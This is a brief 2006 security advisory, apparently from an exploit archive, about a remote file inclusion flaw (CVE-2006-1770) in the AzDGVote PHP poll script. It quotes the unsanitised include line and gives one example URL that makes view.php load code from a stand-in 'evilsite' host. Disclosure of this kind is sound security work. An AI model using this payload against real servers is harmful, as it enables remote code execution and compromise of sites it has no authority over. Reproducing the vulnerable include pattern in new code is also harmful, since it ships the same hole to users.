 Topic: |
AzDGVote File inclusion |
| Credit: |
selfar2002 hotmail com |
| Date: |
2006.04.12 |
| CWE: |
N/A |
| CVE: |
CVE-2006-1770 (Show details)
Use CVE to see details like:
- CVSS2,
- Affected Software,
- References |
| Risk |
Local |
| Remote |
| Medium |
Yes |
| Yes |
AzDGVote File inclusion
---------------------------------
Site:http://www.azdg.com/
Demo:http://www.azdg.com/scripts/AzDGVote/vote.php?id=1
---------------------------------------
File inclusion
include $int_path."/AzDG.template.inc.php";
int_path parameter File inclusion
Aut File
vote.php,view.php,admin.php
and /admin/index.php
---------------------------------------
example
http://victim.com/poll/view.php?int_path=http://evilsite
-----------------------------------------
Discovered By SnIpEr_SA
E-mail:selfar2002 (at) hotmail (dot) com [email concealed],SnIpEr_SA (at) bsdmail (dot) org [email concealed]
Site: www.3asfh.com www.lezr.com
[ ASCII VERSION ]
|
